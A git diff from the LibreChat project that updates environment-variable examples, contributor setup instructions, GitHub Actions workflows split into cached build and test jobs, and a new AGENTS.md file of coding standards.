diff --git a/.env.example b/.env.example
index a6ff6157ce..e746737ea4 100644
--- a/.env.example
+++ b/.env.example
@@ -65,6 +65,9 @@ CONSOLE_JSON=false
 DEBUG_LOGGING=true
 DEBUG_CONSOLE=false
 
+# Enable memory diagnostics (logs heap/RSS snapshots every 60s, auto-enabled with --inspect)
+# MEM_DIAG=true
+
 #=============#
 # Permissions #
 #=============#
@@ -193,10 +196,10 @@ GOOGLE_KEY=user_provided
 # GOOGLE_AUTH_HEADER=true
 
 # Gemini API (AI Studio)
-# GOOGLE_MODELS=gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash,gemini-2.0-flash-lite
+# GOOGLE_MODELS=gemini-3.1-pro-preview,gemini-3.1-pro-preview-customtools,gemini-3.1-flash-lite-preview,gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash,gemini-2.0-flash-lite
 
 # Vertex AI
-# GOOGLE_MODELS=gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash-001,gemini-2.0-flash-lite-001
+# GOOGLE_MODELS=gemini-3.1-pro-preview,gemini-3.1-pro-preview-customtools,gemini-3.1-flash-lite-preview,gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash-001,gemini-2.0-flash-lite-001
 
 # GOOGLE_TITLE_MODEL=gemini-2.0-flash-lite-001
 
@@ -243,10 +246,6 @@ GOOGLE_KEY=user_provided
 # Option A: Use dedicated Gemini API key for image generation
 # GEMINI_API_KEY=your-gemini-api-key
 
-# Option B: Use Vertex AI (no API key needed, uses service account)
-# Set this to enable Vertex AI and allow tool without requiring API keys
-# GEMINI_VERTEX_ENABLED=true
-
 # Vertex AI model for image generation (defaults to gemini-2.5-flash-image)
 # GEMINI_IMAGE_MODEL=gemini-2.5-flash-image
 
@@ -514,6 +513,9 @@ OPENID_ADMIN_ROLE_TOKEN_KIND=
 OPENID_USERNAME_CLAIM=
 # Set to determine which user info property returned from OpenID Provider to store as the User's name
 OPENID_NAME_CLAIM=
+# Set to determine which user info claim to use as the email/identifier for user matching (e.g., "upn" for Entra ID)
+# When not set, defaults to: email -> preferred_username -> upn
+OPENID_EMAIL_CLAIM=
 # Optional audience parameter for OpenID authorization requests
 OPENID_AUDIENCE=
 
@@ -658,6 +660,9 @@ AWS_ACCESS_KEY_ID=
 AWS_SECRET_ACCESS_KEY=
 AWS_REGION=
 AWS_BUCKET_NAME=
+# Required for path-style S3-compatible providers (MinIO, Hetzner, Backblaze B2, etc.)
+# that don't support virtual-hosted-style URLs (bucket.endpoint). Not needed for AWS S3.
+# AWS_FORCE_PATH_STYLE=false
 
 #========================#
 # Azure Blob Storage     #
@@ -672,7 +677,8 @@ AZURE_CONTAINER_NAME=files
 #========================#
 
 ALLOW_SHARED_LINKS=true
-ALLOW_SHARED_LINKS_PUBLIC=true
+# Allows unauthenticated access to shared links. Defaults to false (auth required) if not set.
+ALLOW_SHARED_LINKS_PUBLIC=false
 
 #==============================#
 # Static File Cache Control    #
@@ -844,3 +850,24 @@ OPENWEATHER_API_KEY=
 # Skip code challenge method validation (e.g., for AWS Cognito that supports S256 but doesn't advertise it)
 # When set to true, forces S256 code challenge even if not advertised in .well-known/openid-configuration
 # MCP_SKIP_CODE_CHALLENGE_CHECK=false
+
+# Circuit breaker: max connect/disconnect cycles before tripping (per server)
+# MCP_CB_MAX_CYCLES=7
+
+# Circuit breaker: sliding window (ms) for counting cycles
+# MCP_CB_CYCLE_WINDOW_MS=45000
+
+# Circuit breaker: cooldown (ms) after the cycle breaker trips
+# MCP_CB_CYCLE_COOLDOWN_MS=15000
+
+# Circuit breaker: max consecutive failed connection rounds before backoff
+# MCP_CB_MAX_FAILED_ROUNDS=3
+
+# Circuit breaker: sliding window (ms) for counting failed rounds
+# MCP_CB_FAILED_WINDOW_MS=120000
+
+# Circuit breaker: base backoff (ms) after failed round threshold is reached
+# MCP_CB_BASE_BACKOFF_MS=30000
+
+# Circuit breaker: max backoff cap (ms) for exponential backoff
+# MCP_CB_MAX_BACKOFF_MS=300000
diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md
index ad0a75ab9b..ae9e6d8e4b 100644
--- a/.github/CONTRIBUTING.md
+++ b/.github/CONTRIBUTING.md
@@ -26,18 +26,14 @@ Project maintainers have the right and responsibility to remove, edit, or reject
 
 ## 1. Development Setup
 
-1. Use Node.JS 20.x.
-2. Install typescript globally: `npm i -g typescript`.
-3. Run `npm ci` to install dependencies.
-4. Build the data provider: `npm run build:data-provider`.
-5. Build data schemas: `npm run build:data-schemas`.
-6. Build API methods: `npm run build:api`.
-7. Setup and run unit tests:
+1. Use Node.js v20.19.0+ or ^22.12.0 or >= 23.0.0.
+2. Run `npm run smart-reinstall` to install dependencies (uses Turborepo). Use `npm run reinstall` for a clean install, or `npm ci` for a fresh lockfile-based install.
+3. Build all compiled code: `npm run build`.
+4. Setup and run unit tests:
     - Copy `.env.test`: `cp api/test/.env.test.example api/test/.env.test`.
     - Run backend unit tests: `npm run test:api`.
     - Run frontend unit tests: `npm run test:client`.
-8. Setup and run integration tests:
-    - Build client: `cd client && npm run build`.
+5. Setup and run integration tests:
     - Create `.env`: `cp .env.example .env`.
     - Install [MongoDB Community Edition](https://www.mongodb.com/docs/manual/administration/install-community/), ensure that `mongosh` connects to your local instance.
     - Run: `npx install playwright`, then `npx playwright install`.
@@ -48,11 +44,11 @@ Project maintainers have the right and responsibility to remove, edit, or reject
 ## 2. Development Notes
 
 1. Before starting work, make sure your main branch has the latest commits with `npm run update`.
-3. Run linting command to find errors: `npm run lint`. Alternatively, ensure husky pre-commit checks are functioning.
+2. Run linting command to find errors: `npm run lint`. Alternatively, ensure husky pre-commit checks are functioning.
 3. After your changes, reinstall packages in your current branch using `npm run reinstall` and ensure everything still works. 
     - Restart the ESLint server ("ESLint: Restart ESLint Server" in VS Code command bar) and your IDE after reinstalling or updating.
 4. Clear web app localStorage and cookies before and after changes.
-5. For frontend changes, compile typescript before and after changes to check for introduced errors: `cd client && npm run build`.
+5. To check for introduced errors, build all compiled code: `npm run build`.
 6. Run backend unit tests: `npm run test:api`.
 7. Run frontend unit tests: `npm run test:client`.
 8. Run integration tests: `npm run e2e`.
@@ -118,50 +114,45 @@ Apply the following naming conventions to branches, labels, and other Git-relate
 - **JS/TS:** Directories and file names: Descriptive and camelCase. First letter uppercased for React files (e.g., `helperFunction.ts, ReactComponent.tsx`).
 - **Docs:** Directories and file names: Descriptive and snake_case (e.g., `config_files.md`).
 
-## 7. TypeScript Conversion
+## 7. Coding Standards
+
+For detailed coding conventions, workspace boundaries, and architecture guidance, refer to the [`AGENTS.md`](../AGENTS.md) file at the project root. It covers code style, type safety, import ordering, iteration/performance expectations, frontend rules, testing, and development commands.
+
+## 8. TypeScript Conversion
 
 1. **Original State**: The project was initially developed entirely in JavaScript (JS).
 
-2. **Frontend Transition**:
-   - We are in the process of transitioning the frontend from JS to TypeScript (TS).
-   - The transition is nearing completion.
-   - This conversion is feasible due to React's capability to intermix JS and TS prior to code compilation. It's standard practice to compile/bundle the code in such scenarios.
+2. **Frontend**: Fully transitioned to TypeScript.
 
-3. **Backend Considerations**:
-   - Transitioning the backend to TypeScript would be a more intricate process, especially for an established Express.js server.
-   
-   - **Options for Transition**:
-      - **Single Phase Overhaul**: This involves converting the entire backend to TypeScript in one go. It's the most straightforward approach but can be disruptive, especially for larger codebases.
-      
-      - **Incremental Transition**: Convert parts of the backend progressively. This can be done by:
-         - Maintaining a separate directory for TypeScript files.
-         - Gradually migrating and testing individual modules or routes.
-         - Using a build tool like `tsc` to compile TypeScript files independently until the entire transition is complete.
-         
-   - **Compilation Considerations**: 
-      - Introducing a compilation step for the server is an option. This would involve using tools like `ts-node` for development and `tsc` for production builds.
-      - However, this is not a conventional approach for Express.js servers and could introduce added complexity, especially in terms of build and deployment processes.
-      
-   - **Current Stance**: At present, this backend transition is of lower priority and might not be pursued.
+3. **Backend**:
+   - The legacy Express.js server remains in `/api` as JavaScript.
+   - All new backend code is written in TypeScript under `/packages/api`, which is compiled and consumed by `/api`.
+   - Shared database logic lives in `/packages/data-schemas` (TypeScript).
+   - Shared frontend/backend API types and services live in `/packages/data-provider` (TypeScript).
+   - Minimize direct changes to `/api`; prefer adding TypeScript code to `/packages/api` and importing it.
 
-## 8. Module Import Conventions
+## 9. Module Import Conventions
 
-- `npm` packages first, 
-     - from longest line (top) to shortest (bottom)
+Imports are organized into three sections (in order):
 
-- Followed by typescript types (pertains to data-provider and client workspaces)
-     - longest line (top) to shortest (bottom)
-     - types from package come first
+1. **Package imports** — sorted from shortest to longest line length.
+   - `react` is always the first import.
+   - Multi-line (stacked) imports count their total character length across all lines for sorting.
 
-- Lastly, local imports
-     - longest line (top) to shortest (bottom)
-     - imports with alias `~` treated the same as relative import with respect to line length
+2. **`import type` imports** — sorted from longest to shortest line length.
+   - Package type imports come first, then local type imports.
+   - Line length sorting resets between the package and local sub-groups.
+
+3. **Local/project imports** — sorted from longest to shortest line length.
+   - Multi-line (stacked) imports count their total character length across all lines for sorting.
+   - Imports with alias `~` are treated the same as relative imports with respect to line length.
+
+- Consolidate value imports from the same module as much as possible.
+- Always use standalone `import type { ... }` for type imports; never use inline `type` keyword inside value imports (e.g., `import { Foo, type Bar }` is wrong).
 
 **Note:** ESLint will automatically enforce these import conventions when you run `npm run lint --fix` or through pre-commit hooks.
 
----
-
-Please ensure that you adapt this summary to fit the specific context and nuances of your project.
+For the full set of coding standards, see [`AGENTS.md`](../AGENTS.md).
 
 ---
 
diff --git a/.github/workflows/backend-review.yml b/.github/workflows/backend-review.yml
index 2379b8fee7..038c90627e 100644
--- a/.github/workflows/backend-review.yml
+++ b/.github/workflows/backend-review.yml
@@ -9,48 +9,145 @@ on:
     paths:
       - 'api/**'
       - 'packages/**'
+
+env:
+  NODE_ENV: CI
+  NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+
 jobs:
-  tests_Backend:
-    name: Run Backend unit tests
-    timeout-minutes: 60
+  build:
+    name: Build packages
     runs-on: ubuntu-latest
-    env:
-      MONGO_URI: ${{ secrets.MONGO_URI }}
-      OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
-      JWT_SECRET: ${{ secrets.JWT_SECRET }}
-      CREDS_KEY: ${{ secrets.CREDS_KEY }}
-      CREDS_IV: ${{ secrets.CREDS_IV }}
-      BAN_VIOLATIONS: ${{ secrets.BAN_VIOLATIONS }}
-      BAN_DURATION: ${{ secrets.BAN_DURATION }}
-      BAN_INTERVAL: ${{ secrets.BAN_INTERVAL }}
-      NODE_ENV: CI
-      NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+    timeout-minutes: 15
     steps:
       - uses: actions/checkout@v4
-      - name: Use Node.js 20.x
+
+      - name: Use Node.js 20.19
         uses: actions/setup-node@v4
         with:
-          node-version: 20
-          cache: 'npm'
+          node-version: '20.19'
+
+      - name: Restore node_modules cache
+        id: cache-node-modules
+        uses: actions/cache@v4
+        with:
+          path: |
+            node_modules
+            api/node_modules
+            packages/api/node_modules
+            packages/data-provider/node_modules
+            packages/data-schemas/node_modules
+          key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
 
       - name: Install dependencies
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
         run: npm ci
 
-      - name: Install Data Provider Package
+      - name: Restore data-provider build cache
+        id: cache-data-provider
+        uses: actions/cache@v4
+        with:
+          path: packages/data-provider/dist
+          key: build-data-provider-${{ runner.os }}-${{ hashFiles('packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
+
+      - name: Build data-provider
+        if: steps.cache-data-provider.outputs.cache-hit != 'true'
         run: npm run build:data-provider
 
-      - name: Install Data Schemas Package
+      - name: Restore data-schemas build cache
+        id: cache-data-schemas
+        uses: actions/cache@v4
+        with:
+          path: packages/data-schemas/dist
+          key: build-data-schemas-${{ runner.os }}-${{ hashFiles('packages/data-schemas/src/**', 'packages/data-schemas/tsconfig*.json', 'packages/data-schemas/rollup.config.js', 'packages/data-schemas/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
+
+      - name: Build data-schemas
+        if: steps.cache-data-schemas.outputs.cache-hit != 'true'
         run: npm run build:data-schemas
 
-      - name: Install API Package
+      - name: Restore api build cache
+        id: cache-api
+        uses: actions/cache@v4
+        with:
+          path: packages/api/dist
+          key: build-api-${{ runner.os }}-${{ hashFiles('packages/api/src/**', 'packages/api/tsconfig*.json', 'packages/api/server-rollup.config.js', 'packages/api/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json', 'packages/data-schemas/src/**', 'packages/data-schemas/tsconfig*.json', 'packages/data-schemas/rollup.config.js', 'packages/data-schemas/package.json') }}
+
+      - name: Build api
+        if: steps.cache-api.outputs.cache-hit != 'true'
         run: npm run build:api
 
-      - name: Create empty auth.json file
-        run: |
-          mkdir -p api/data
-          echo '{}' > api/data/auth.json
+      - name: Upload data-provider build
+        uses: actions/upload-artifact@v4
+        with:
+          name: build-data-provider
+          path: packages/data-provider/dist
+          retention-days: 2
 
-      - name: Check for Circular dependency in rollup
+      - name: Upload data-schemas build
+        uses: actions/upload-artifact@v4
+        with:
+          name: build-data-schemas
+          path: packages/data-schemas/dist
+          retention-days: 2
+
+      - name: Upload api build
+        uses: actions/upload-artifact@v4
+        with:
+          name: build-api
+          path: packages/api/dist
+          retention-days: 2
+
+  circular-deps:
+    name: Circular dependency checks
+    needs: build
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Use Node.js 20.19
+        uses: actions/setup-node@v4
+        with:
+          node-version: '20.19'
+
+      - name: Restore node_modules cache
+        id: cache-node-modules
+        uses: actions/cache@v4
+        with:
+          path: |
+            node_modules
+            api/node_modules
+            packages/api/node_modules
+            packages/data-provider/node_modules
+            packages/data-schemas/node_modules
+          key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+      - name: Install dependencies
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
+        run: npm ci
+
+      - name: Download data-provider build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-data-provider
+          path: packages/data-provider/dist
+
+      - name: Download data-schemas build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-data-schemas
+          path: packages/data-schemas/dist
+
+      - name: Rebuild @librechat/api and check for circular dependencies
+        run: |
+          output=$(npm run build:api 2>&1)
+          echo "$output"
+          if echo "$output" | grep -q "Circular depend"; then
+            echo "Error: Circular dependency detected in @librechat/api!"
+            exit 1
+          fi
+
+      - name: Detect circular dependencies in rollup
         working-directory: ./packages/data-provider
         run: |
           output=$(npm run rollup:api)
@@ -60,17 +157,201 @@ jobs:
             exit 1
           fi
 
+  test-api:
+    name: 'Tests: api'
+    needs: build
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    env:
+      MONGO_URI: ${{ secrets.MONGO_URI }}
+      OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
+      JWT_SECRET: ${{ secrets.JWT_SECRET }}
+      CREDS_KEY: ${{ secrets.CREDS_KEY }}
+      CREDS_IV: ${{ secrets.CREDS_IV }}
+      BAN_VIOLATIONS: ${{ secrets.BAN_VIOLATIONS }}
+      BAN_DURATION: ${{ secrets.BAN_DURATION }}
+      BAN_INTERVAL: ${{ secrets.BAN_INTERVAL }}
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Use Node.js 20.19
+        uses: actions/setup-node@v4
+        with:
+          node-version: '20.19'
+
+      - name: Restore node_modules cache
+        id: cache-node-modules
+        uses: actions/cache@v4
+        with:
+          path: |
+            node_modules
+            api/node_modules
+            packages/api/node_modules
+            packages/data-provider/node_modules
+            packages/data-schemas/node_modules
+          key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+      - name: Install dependencies
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
+        run: npm ci
+
+      - name: Download data-provider build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-data-provider
+          path: packages/data-provider/dist
+
+      - name: Download data-schemas build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-data-schemas
+          path: packages/data-schemas/dist
+
+      - name: Download api build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-api
+          path: packages/api/dist
+
+      - name: Create empty auth.json file
+        run: |
+          mkdir -p api/data
+          echo '{}' > api/data/auth.json
+
       - name: Prepare .env.test file
         run: cp api/test/.env.test.example api/test/.env.test
 
       - name: Run unit tests
         run: cd api && npm run test:ci
 
-      - name: Run librechat-data-provider unit tests
+  test-data-provider:
+    name: 'Tests: data-provider'
+    needs: build
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Use Node.js 20.19
+        uses: actions/setup-node@v4
+        with:
+          node-version: '20.19'
+
+      - name: Restore node_modules cache
+        id: cache-node-modules
+        uses: actions/cache@v4
+        with:
+          path: |
+            node_modules
+            api/node_modules
+            packages/api/node_modules
+            packages/data-provider/node_modules
+            packages/data-schemas/node_modules
+          key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+      - name: Install dependencies
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
+        run: npm ci
+
+      - name: Download data-provider build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-data-provider
+          path: packages/data-provider/dist
+
+      - name: Run unit tests
         run: cd packages/data-provider && npm run test:ci
 
-      - name: Run @librechat/data-schemas unit tests
+  test-data-schemas:
+    name: 'Tests: data-schemas'
+    needs: build
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Use Node.js 20.19
+        uses: actions/setup-node@v4
+        with:
+          node-version: '20.19'
+
+      - name: Restore node_modules cache
+        id: cache-node-modules
+        uses: actions/cache@v4
+        with:
+          path: |
+            node_modules
+            api/node_modules
+            packages/api/node_modules
+            packages/data-provider/node_modules
+            packages/data-schemas/node_modules
+          key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+      - name: Install dependencies
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
+        run: npm ci
+
+      - name: Download data-provider build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-data-provider
+          path: packages/data-provider/dist
+
+      - name: Download data-schemas build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-data-schemas
+          path: packages/data-schemas/dist
+
+      - name: Run unit tests
         run: cd packages/data-schemas && npm run test:ci
 
-      - name: Run @librechat/api unit tests
+  test-packages-api:
+    name: 'Tests: @librechat/api'
+    needs: build
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Use Node.js 20.19
+        uses: actions/setup-node@v4
+        with:
+          node-version: '20.19'
+
+      - name: Restore node_modules cache
+        id: cache-node-modules
+        uses: actions/cache@v4
+        with:
+          path: |
+            node_modules
+            api/node_modules
+            packages/api/node_modules
+            packages/data-provider/node_modules
+            packages/data-schemas/node_modules
+          key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+      - name: Install dependencies
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
+        run: npm ci
+
+      - name: Download data-provider build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-data-provider
+          path: packages/data-provider/dist
+
+      - name: Download data-schemas build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-data-schemas
+          path: packages/data-schemas/dist
+
+      - name: Download api build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-api
+          path: packages/api/dist
+
+      - name: Run unit tests
         run: cd packages/api && npm run test:ci
diff --git a/.github/workflows/frontend-review.yml b/.github/workflows/frontend-review.yml
index 989e2e4abe..9c2d4a37b1 100644
--- a/.github/workflows/frontend-review.yml
+++ b/.github/workflows/frontend-review.yml
@@ -2,7 +2,7 @@ name: Frontend Unit Tests
 
 on:
   pull_request:
-    branches: 
+    branches:
       - main
       - dev
       - dev-staging
@@ -11,51 +11,200 @@ on:
       - 'client/**'
       - 'packages/data-provider/**'
 
+env:
+  NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+
 jobs:
-  tests_frontend_ubuntu:
-    name: Run frontend unit tests on Ubuntu
-    timeout-minutes: 60
+  build:
+    name: Build packages
     runs-on: ubuntu-latest
-    env:
-      NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+    timeout-minutes: 15
     steps:
       - uses: actions/checkout@v4
-      - name: Use Node.js 20.x
+
+      - name: Use Node.js 20.19
         uses: actions/setup-node@v4
         with:
-          node-version: 20
-          cache: 'npm'
+          node-version: '20.19'
+
+      - name: Restore node_modules cache
+        id: cache-node-modules
+        uses: actions/cache@v4
+        with:
+          path: |
+            node_modules
+            client/node_modules
+            packages/client/node_modules
+            packages/data-provider/node_modules
+          key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
 
       - name: Install dependencies
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
         run: npm ci
 
-      - name: Build Client
-        run: npm run frontend:ci
+      - name: Restore data-provider build cache
+        id: cache-data-provider
+        uses: actions/cache@v4
+        with:
+          path: packages/data-provider/dist
+          key: build-data-provider-${{ runner.os }}-${{ hashFiles('packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
+
+      - name: Build data-provider
+        if: steps.cache-data-provider.outputs.cache-hit != 'true'
+        run: npm run build:data-provider
+
+      - name: Restore client-package build cache
+        id: cache-client-package
+        uses: actions/cache@v4
+        with:
+          path: packages/client/dist
+          key: build-client-package-${{ runner.os }}-${{ hashFiles('packages/client/src/**', 'packages/client/tsconfig*.json', 'packages/client/rollup.config.js', 'packages/client/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
+
+      - name: Build client-package
+        if: steps.cache-client-package.outputs.cache-hit != 'true'
+        run: npm run build:client-package
+
+      - name: Upload data-provider build
+        uses: actions/upload-artifact@v4
+        with:
+          name: build-data-provider
+          path: packages/data-provider/dist
+          retention-days: 2
+
+      - name: Upload client-package build
+        uses: actions/upload-artifact@v4
+        with:
+          name: build-client-package
+          path: packages/client/dist
+          retention-days: 2
+
+  test-ubuntu:
+    name: 'Tests: Ubuntu'
+    needs: build
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Use Node.js 20.19
+        uses: actions/setup-node@v4
+        with:
+          node-version: '20.19'
+
+      - name: Restore node_modules cache
+        id: cache-node-modules
+        uses: actions/cache@v4
+        with:
+          path: |
+            node_modules
+            client/node_modules
+            packages/client/node_modules
+            packages/data-provider/node_modules
+          key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+      - name: Install dependencies
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
+        run: npm ci
+
+      - name: Download data-provider build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-data-provider
+          path: packages/data-provider/dist
+
+      - name: Download client-package build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-client-package
+          path: packages/client/dist
 
       - name: Run unit tests
         run: npm run test:ci --verbose
         working-directory: client
 
-  tests_frontend_windows:
-    name: Run frontend unit tests on Windows
-    timeout-minutes: 60
+  test-windows:
+    name: 'Tests: Windows'
+    needs: build
     runs-on: windows-latest
-    env:
-      NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+    timeout-minutes: 20
     steps:
       - uses: actions/checkout@v4
-      - name: Use Node.js 20.x
+
+      - name: Use Node.js 20.19
         uses: actions/setup-node@v4
         with:
-          node-version: 20
-          cache: 'npm'
+          node-version: '20.19'
+
+      - name: Restore node_modules cache
+        id: cache-node-modules
+        uses: actions/cache@v4
+        with:
+          path: |
+            node_modules
+            client/node_modules
+            packages/client/node_modules
+            packages/data-provider/node_modules
+          key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
 
       - name: Install dependencies
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
         run: npm ci
 
-      - name: Build Client
-        run: npm run frontend:ci
+      - name: Download data-provider build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-data-provider
+          path: packages/data-provider/dist
+
+      - name: Download client-package build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-client-package
+          path: packages/client/dist
 
       - name: Run unit tests
         run: npm run test:ci --verbose
-        working-directory: client
\ No newline at end of file
+        working-directory: client
+
+  build-verify:
+    name: Vite build verification
+    needs: build
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Use Node.js 20.19
+        uses: actions/setup-node@v4
+        with:
+          node-version: '20.19'
+
+      - name: Restore node_modules cache
+        id: cache-node-modules
+        uses: actions/cache@v4
+        with:
+          path: |
+            node_modules
+            client/node_modules
+            packages/client/node_modules
+            packages/data-provider/node_modules
+          key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+      - name: Install dependencies
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
+        run: npm ci
+
+      - name: Download data-provider build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-data-provider
+          path: packages/data-provider/dist
+
+      - name: Download client-package build
+        uses: actions/download-artifact@v4
+        with:
+          name: build-client-package
+          path: packages/client/dist
+
+      - name: Build client
+        run: cd client && npm run build:ci
diff --git a/AGENTS.md b/AGENTS.md
new file mode 100644
index 0000000000..ec44607aa7
--- /dev/null
+++ b/AGENTS.md
@@ -0,0 +1,166 @@
+# LibreChat
+
+## Project Overview
+
+LibreChat is a monorepo with the following key workspaces:
+
+| Workspace | Language | Side | Dependency | Purpose |
+|---|---|---|---|---|
+| `/api` | JS (legacy) | Backend | `packages/api`, `packages/data-schemas`, `packages/data-provider`, `@librechat/agents` | Express server — minimize changes here |
+| `/packages/api` | **TypeScript** | Backend | `packages/data-schemas`, `packages/data-provider` | New backend code lives here (TS only, consumed by `/api`) |
+| `/packages/data-schemas` | TypeScript | Backend | `packages/data-provider` | Database models/schemas, shareable across backend projects |
+| `/packages/data-provider` | TypeScript | Shared | — | Shared API types, endpoints, data-service — used by both frontend and backend |
+| `/client` | TypeScript/React | Frontend | `packages/data-provider`, `packages/client` | Frontend SPA |
+| `/packages/client` | TypeScript | Frontend | `packages/data-provider` | Shared frontend utilities |
+
+The source code for `@librechat/agents` (major backend dependency, same team) is at `/home/danny/agentus`.
+
+---
+
+## Workspace Boundaries
+
+- **All new backend code must be TypeScript** in `/packages/api`.
+- Keep `/api` changes to the absolute minimum (thin JS wrappers calling into `/packages/api`).
+- Database-specific shared logic goes in `/packages/data-schemas`.
+- Frontend/backend shared API logic (endpoints, types, data-service) goes in `/packages/data-provider`.
+- Build data-provider from project root: `npm run build:data-provider`.
+
+---
+
+## Code Style
+
+### Structure and Clarity
+
+- **Never-nesting**: early returns, flat code, minimal indentation. Break complex operations into well-named helpers.
+- **Functional first**: pure functions, immutable data, `map`/`filter`/`reduce` over imperative loops. Only reach for OOP when it clearly improves domain modeling or state encapsulation.
+- **No dynamic imports** unless absolutely necessary.
+
+### DRY
+
+- Extract repeated logic into utility functions.
+- Reusable hooks / higher-order components for UI patterns.
+- Parameterized helpers instead of near-duplicate functions.
+- Constants for repeated values; configuration objects over duplicated init code.
+- Shared validators, centralized error handling, single source of truth for business rules.
+- Shared typing system with interfaces/types extending common base definitions.
+- Abstraction layers for external API interactions.
+
+### Iteration and Performance
+
+- **Minimize looping** — especially over shared data structures like message arrays, which are iterated frequently throughout the codebase. Every additional pass adds up at scale.
+- Consolidate sequential O(n) operations into a single pass whenever possible; never loop over the same collection twice if the work can be combined.
+- Choose data structures that reduce the need to iterate (e.g., `Map`/`Set` for lookups instead of `Array.find`/`Array.includes`).
+- Avoid unnecessary object creation; consider space-time tradeoffs.
+- Prevent memory leaks: careful with closures, dispose resources/event listeners, no circular references.
+
+### Type Safety
+
+- **Never use `any`**. Explicit types for all parameters, return values, and variables.
+- **Limit `unknown`** — avoid `unknown`, `Record<string, unknown>`, and `as unknown as T` assertions. A `Record<string, unknown>` almost always signals a missing explicit type definition.
+- **Don't duplicate types** — before defining a new type, check whether it already exists in the project (especially `packages/data-provider`). Reuse and extend existing types rather than creating redundant definitions.
+- Use union types, generics, and interfaces appropriately.
+- All TypeScript and ESLint warnings/errors must be addressed — do not leave unresolved diagnostics.
+
+### Comments and Documentation
+
+- Write self-documenting code; no inline comments narrating what code does.
+- JSDoc only for complex/non-obvious logic or intellisense on public APIs.
+- Single-line JSDoc for brief docs, multi-line for complex cases.
+- Avoid standalone `//` comments unless absolutely necessary.
+
+### Import Order
+
+Imports are organized into three sections:
+
+1. **Package imports** — sorted shortest to longest line length (`react` always first).
+2. **`import type` imports** — sorted longest to shortest (package types first, then local types; length resets between sub-groups).
+3. **Local/project imports** — sorted longest to shortest.
+
+Multi-line imports count total character length across all lines. Consolidate value imports from the same module. Always use standalone `import type { ... }` — never inline `type` inside value imports.
+
